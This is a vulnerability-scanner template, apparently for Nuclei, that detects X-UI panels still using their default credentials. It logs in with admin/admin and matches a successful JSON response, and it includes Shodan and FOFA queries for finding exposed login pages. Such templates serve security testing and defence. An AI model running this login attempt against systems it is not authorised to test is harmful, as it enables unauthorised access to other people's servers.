id: xui-default-login

info:
  name: X-UI - Default Login
  author: dali
  severity: high
  description: |
    X-UI contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/vaxilu/x-ui
    - https://seakfind.github.io/2021/10/10/X-UI/#:~:text=By%20default%2C%20the%20login%20user,the%20password%20is%20also%20admin%20.
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:a:vaxilu:x-ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="X-UI Login"
    shodan-query: title:"X-UI Login"
    product: x-ui
    vendor: vaxilu
  tags: x-ui,default-login,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

  - method: POST
    path:
      - "{{BaseURL}}/login"

    headers:
      content-type: application/x-www-form-urlencoded

    body: "username={{username}}&password={{password}}"

    attack: pitchfork
    payloads:
      username:
        - "admin"
      password:
        - "admin"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - '!contains(http_1_body, "\"success\":true")'
          - 'contains_all(http_2_body, "\"success\":true", "msg\":")'
          - "contains(http_2_header, 'application/json')"
          - "http_2_status_code == 200"
        condition: and
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